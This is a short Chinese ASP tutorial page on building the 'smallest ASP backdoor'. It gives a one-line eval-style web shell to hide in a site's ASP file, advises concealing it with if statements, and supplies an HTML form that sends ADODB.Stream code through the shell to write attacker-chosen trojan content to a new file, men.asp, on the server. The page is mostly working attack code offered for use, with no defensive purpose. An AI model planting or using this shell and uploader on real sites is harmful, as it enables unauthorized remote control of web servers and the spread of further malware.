当前位置:首页 > ASP教程 > ASP其他

最小asp后门程序

首先在asp文件中写如<%execute request("value")%>代码
如果想要隐藏,就要加入一些if判断语句,即可
然后在本地写个表单
代码如下:

<form action=http://***.com/wfgk.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lp=server.createobject("adodb.stream")
lp.open
lp.type=2
lp.charset="gb2312"
lp.writetext request("hackbin")
lp.savetofile server.mappath("men.asp"),2
lp.close
set lp=nothing
response.redirect "men.asp"
</textarea>
<textarea name=hackbin cols=120 rows=10 width=45>添入生成木马的内容</textarea><br><center><br> <input type=submit value=提交>

保存为htm文件,把http://***.com/wfgk.asp替换成你插入<%execute request("value")%>的文件,然后点提交直接跳转到木马
【说明】本文章由站长整理发布,文章内容不代表本站观点,如文中有侵权行为,请与本站客服联系(QQ:)!